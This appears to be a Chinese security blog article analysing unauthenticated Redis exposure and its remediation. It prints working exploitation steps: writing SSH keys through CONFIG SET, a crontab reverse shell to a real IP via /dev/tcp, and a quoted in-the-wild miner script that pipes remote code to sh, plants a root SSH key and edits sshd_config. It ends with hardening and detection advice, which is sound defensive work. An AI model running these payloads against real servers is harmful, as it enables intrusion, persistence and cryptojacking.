Redis未授权访问漏洞分析
1. Redis简介
Relevant Link:
http://www.cnblogs.com/LittleHann/p/3901588.html
2. 漏洞概述
Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器
0x1: 漏洞描述
Redis安全模型的观念是: "请不要将Redis暴露在公开网络中, 因为让不受信任的客户接触到Redis是非常危险的"
Redis 作者之所以放弃解决未授权访问导致的不安全性是因为
1. 99.99%使用Redis的场景都是在沙盒化的环境中,为了0.01%的可能性增加安全规则的同时也增加了复杂性 2. 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的
因为其他受信任用户需要使用Redis或者因为运维人员的疏忽等原因,部分Redis 绑定在0.0.0.0:6379,并且没有开启认证(这是Redis的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,将会导致Redis服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作
利用Redis自身的相关方法,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器
0x2: 漏洞利用条件
1. redis服务以root账户运行 2. redis无密码或弱密码进行认证 3. redis监听在0.0.0.0公网上
Relevant Link:
http://www.cnblogs.com/yangecnu/p/An-Production-Accidents-Caused-by-Redis-Attacked.html
2. 漏洞利用方式
0x1: 数据库数据泄露
Redis 作为数据库,保存着各种各样的数据,如果存在未授权访问的情况,将会导致数据的泄露,其中包含保存的用户信息等
0x2: 敏感信息泄露
通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫
# Server redis_version:2.8.13 redis_git_sha1:00000000 redis_git_dirty:0 redis_build_id:161beea97cb9b816 redis_mode:standalone os:Linux 2.6.32-431.23.3.el6.x86_64 x86_64 arch_bits:64 multiplexing_api:epoll gcc_version:4.4.7 process_id:12537 run_id:977eace0aacf7c702db5ff0b689cf23cf0936dbc tcp_port:6379 uptime_in_seconds:17725 uptime_in_days:0 hz:10 lru_clock:4493657 config_file: # Clients connected_clients:1 client_longest_output_list:0 client_biggest_input_buf:0 blocked_clients:0 # Memory used_memory:810968 used_memory_human:791.96K used_memory_rss:2359296 used_memory_peak:810968 used_memory_peak_human:791.96K used_memory_lua:36864 mem_fragmentation_ratio:2.91 mem_allocator:jemalloc-3.6.0 # Persistence loading:0 rdb_changes_since_last_save:0 rdb_bgsave_in_progress:0 rdb_last_save_time:1447333284 rdb_last_bgsave_status:ok rdb_last_bgsave_time_sec:1 rdb_current_bgsave_time_sec:-1 aof_enabled:0 aof_rewrite_in_progress:0 aof_rewrite_scheduled:0 aof_last_rewrite_time_sec:-1 aof_current_rewrite_time_sec:-1 aof_last_bgrewrite_status:ok aof_last_write_status:ok # Stats total_connections_received:5 total_commands_processed:5 instantaneous_ops_per_sec:0 rejected_connections:0 sync_full:0 sync_partial_ok:0 sync_partial_err:0 expired_keys:0 evicted_keys:0 keyspace_hits:1 keyspace_misses:1 pubsub_channels:0 pubsub_patterns:0 latest_fork_usec:233 # Replication role:master connected_slaves:0 master_repl_offset:0 repl_backlog_active:0 repl_backlog_size:1048576 repl_backlog_first_byte_offset:0 repl_backlog_histlen:0 # CPU used_cpu_sys:10.47 used_cpu_user:7.25 used_cpu_sys_children:0.00 used_cpu_user_children:0.00 # Keyspace 127.0.0.1:6379> [root@iZ23er0navtZ ~]# redis-cli 127.0.0.1:6379> auth littlehann OK 127.0.0.1:6379> [root@iZ23er0navtZ ~]# redis-cli 127.0.0.1:6379> keys * (error) ERR operation not permitted 127.0.0.1:6379> [root@iZ23er0navtZ ~]# redis-cli -h 127.0.0.1 -p 6379 -a littlehann 127.0.0.1:6379> keys * (empty list or set) 127.0.0.1:6379> [root@iZ23er0navtZ ~]# clear [root@iZ23er0navtZ ~]# redis-cli eval "$(echo hacker /tmp/shell)" 0 (error) ERR unknown command 'eval' [root@iZ23er0navtZ ~]# redis-cli eval "$(echo hacker /tmp/shell)" 0 (error) ERR unknown command 'eval' [root@iZ23er0navtZ ~]# redis-cli eval "$(echo hacker /tmp/shell)" 0 -a littlehann (error) ERR unknown command 'eval' [root@iZ23er0navtZ ~]# clear [root@iZ23er0navtZ ~]# redis-cli 127.0.0.1:6379> auth littlehann OK 127.0.0.1:6379> eval "$(echo hacker /tmp/shell)" 0 (error) ERR unknown command 'eval' 127.0.0.1:6379> EVAL "$(echo hacker /tmp/shell)" 0 (error) ERR unknown command 'EVAL' 127.0.0.1:6379> info redis_version:2.4.10 redis_git_sha1:00000000 redis_git_dirty:0 arch_bits:64 multiplexing_api:epoll gcc_version:4.4.6 process_id:12766 uptime_in_seconds:3970 uptime_in_days:0 lru_clock:30359 used_cpu_sys:0.46 used_cpu_user:0.73 used_cpu_sys_children:0.00 used_cpu_user_children:0.00 connected_clients:1 connected_slaves:0 client_longest_output_list:0 client_biggest_input_buf:0 blocked_clients:0 used_memory:726176 used_memory_human:709.16K used_memory_rss:1634304 used_memory_peak:726168 used_memory_peak_human:709.15K mem_fragmentation_ratio:2.25 mem_allocator:jemalloc-2.2.5 loading:0 aof_enabled:0 changes_since_last_save:0 bgsave_in_progress:0 last_save_time:1447334503 bgrewriteaof_in_progress:0 total_connections_received:7 total_commands_processed:4 expired_keys:0 evicted_keys:0 keyspace_hits:0 keyspace_misses:0 pubsub_channels:0 pubsub_patterns:0 latest_fork_usec:0 vm_enabled:0 role:master
0x3: 上传SSH公钥获得SSH登录权限
//首先在本地生产公私钥文件: ssh-keygen –t rsa config set dir /root/.ssh/ config set dbfilename authorized_keys set xxxx "\n\n\nssh-rsa key_pub\n\n\n" //xxxx为任意 //其中key_pub为上一步生成的公钥,即可将公钥保存在远端服务器,使得登录时不需要输入账号与密码 save
这会产生redis进程对/root/.ssh/路径下进行写文件的动作,值得注意的是,ssh默认的公钥路径是:/root/.ssh/authorized_keys,如果要自定义其他的公钥名称,需要在/root/.ssh/config里特殊配置,所以黑客必须选择往/root/.ssh/authorized_keys里写入payload
0x4: 通过crontab反弹shell
和定时任务crontab有关的目录有
1. /var/spool/cron/: 所有用户定义的 crontab 都被保存在 /var/spool/cron 目录中 2. /var/spool/cron/crontabs: ubuntu下在这个目录 3. /etc/crontab: 针对系统的任务 SHELL=/bin/bash PATH=/sbin:/bin:/usr/sbin:/usr/bin MAILTO=root //如果出现错误,或者有数据输出,数据作为邮件发给这个帐号 HOME=/ //使用者运行的路径,这里是根目录 # run-parts 01 * * * * root run-parts /etc/cron.hourly //每小时执行/etc/cron.hourly内的脚本 02 4 * * * root run-parts /etc/cron.daily //每天执行/etc/cron.daily内的脚本 22 4 * * 0 root run-parts /etc/cron.weekly //每星期执行/etc/cron.weekly内的脚本 42 4 1 * * root run-parts /etc/cron.monthly //每月去执行/etc/cron.monthly内的脚本
payload
redis-cli -h $1 flushall echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/114.215.190.203/2333 0>&1\n\n"|redis-cli -h $1 -x set 1 redis-cli -h $1 config set dir /var/spool/cron/crontabs/ redis-cli -h $1 config set dbfilename root redis-cli -h $1 save
挖矿payload(同时修改ssh配置,提高可登录成功率)
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin echo "*/2 * * * * curl -L https://r.chanstring.com/api/report?pm=1 | sh" > /var/spool/cron/root # echo "*/2 * * * * ps auxf | grep -v grep | grep yam || /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:x@xmr.crypto-pool.fr:6666/xmr" >> /var/spool/cron/root # echo "*/5 * * * * ps auxf | grep -v grep | grep gg3lady || nohup /opt/gg3lady &" >> /var/spool/cron/root pkill gg3lady ps auxf | grep -v grep | grep yam || nohup /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:x@xmr.crypto-pool.fr:6666/xmr & if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then mkdir -p ~/.ssh rm -f ~/.ssh/authorized_keys* echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq echo "PermitRootLogin yes" >> /etc/ssh/sshd_config echo "RSAAuthentication yes" >> /etc/ssh/sshd_config echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config /etc/init.d/sshd restart fi if [ ! -f "/opt/yam/yam" ]; then mkdir -p /opt/yam curl -f -L https://r.chanstring.com/api/download/yam -o /opt/yam/yam chmod +x /opt/yam/yam # /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:x@xmr.crypto-pool.fr:6666/xmr fi # if [ ! -f "/opt/gg3lady" ]; then # curl -f -L https://r.chanstring.com/api/download/gg3lady_`uname -i` -o /opt/gg3lady # chmod +x /opt/gg3lady # fi # yam=$(ps auxf | grep yam | grep -v grep | wc -l) # gg3lady=$(ps auxf | grep gg3lady | grep -v grep | wc -l) # cpu=$(cat /proc/cpuinfo | grep processor | wc -l) # curl https://r.chanstring.com/api/report?yam=$yam\&cpu=$cpu\&gg3lady=$gg3lady\&arch=`uname -i`
0x5: slave主从模式利用
在Slave启动并连接到Master之后,它将主动发送一个SYNC命令。此后Master将启动后台存盘进程,同时收集所有接收到的用于修改数据集的命令,在后台进程执行完毕后,Master将传送整个数据库文件到Slave,以完成一次完全同步。而Slave服务器在接收到数据库文件数据之后将其存盘并加载到内存中。此后,Master继续将所有已经收集到的修改命令,和新的修改命令依次传送给Slaves,Slave将在本次执行这些数据修改命令,从而达到最终的数据同步
如果Master和Slave之间的链接出现断连现象,Slave可以自动重连Master,但是在连接成功之后,一次完全同步将被自动执行
1. 主模式redis(114.215.190.203) redis-server 2. 从模式redis(218.244.133.201) redis-server 3. 将目标redis(218.244.133.201是存在漏洞的redis)作为从模式redis和主模式redis建立主从连接 redis-cli -h 218.244.133.201 -p 6379 slaveof 114.215.190.203 6379 4. 登录自己控制的主模式redis,执行指令 redis-cli -h 114.215.190.203 -p 6379 set mykey hello set mykey2 helloworld
此后主模式redis的所有操作都会自动同步到从模式redis中,也就是说我们可以将存在漏洞的redis作为从模式redis,连接到我们自己控制的主模式redis上,此后只要在自己控制的主模式redis上输入指令即可
0x6: 写入到etc/profile.d/环境变量
0x7: 开启AOF持久化纯文本记录 appendfilename
Redis有两种持久化的方式: 快照(RDB文件)和追加式文件(AOF文件)
1. RDB持久化方式会在一个特定的间隔保存那个时间点的一个数据快照 2. AOF持久化方式则会记录每一个服务器收到的写操作。在服务启动时,这些记录的操作会逐条执行从而重建出原来的数据。写操作命令记录的格式跟Redis协议一致,以追加的方式进行保存 3. Redis的持久化是可以禁用的,就是说你可以让数据的生命周期只存在于服务器的运行时间里 4. 两种方式的持久化是可以同时存在的,但是当Redis重启时,AOF文件会被优先用于重建数据
AOF持久化的这个特点可以被用来持久化payload攻击
Relevant Link:
http://www.freebuf.com/vuls/85188.html https://www.v2ex.com/t/286981#reply14 https://r.chanstring.com/api/report?pm=1
4. 修复方式
0x1: 禁止绑定公网(本地缓存)
1. redis.conf: bind 127.0.0.1 //redis本来就是作为内存数据库,只要监听在本机即可
0x2: 密码验证
1. 配置认证,也就是AUTH,设置密码,密码会以明文方式保存在Redis配置文件中
0x3: 降权运行
1. 禁止使用 root 权限启动 redis 服务 vim /etc/redis/redis.conf # By default Redis does not run as a daemon. Use 'yes' if you need it. # Note that Redis will write a pid file in /var/run/redis.pid when daemonized. daemonize yes
在降权(deamon)模式下,更改配置文件路径是不允许的,即"config set dir /root/.ssh/"执行失败,从而避免了写任意文件的风险
0x4: 其他
1. 限定可以连接Redis服务器的IP 2. 修改Redis默认端口6379 3. 配置rename-command配置项"RENAME_CONFIG",这样即使存在未授权访问,也能够给攻击者使用config 指令加大难度
0x5: 禁止从redis写入主模式redis传输的文件
slave-read-only yes
0x6: 自动化检测方案
1. 从running进程redis-server中获取启动参数中的配置文件路径。如果获取失败则从默认路径: /etc/redis/redis.conf 2. 检查配置key-value对 daemonize yes bind 127.0.0.1
Relevant Link:
http://www.freebuf.com/vuls/85021.html
Copyright (c) 2015 LittleHann All rights reserved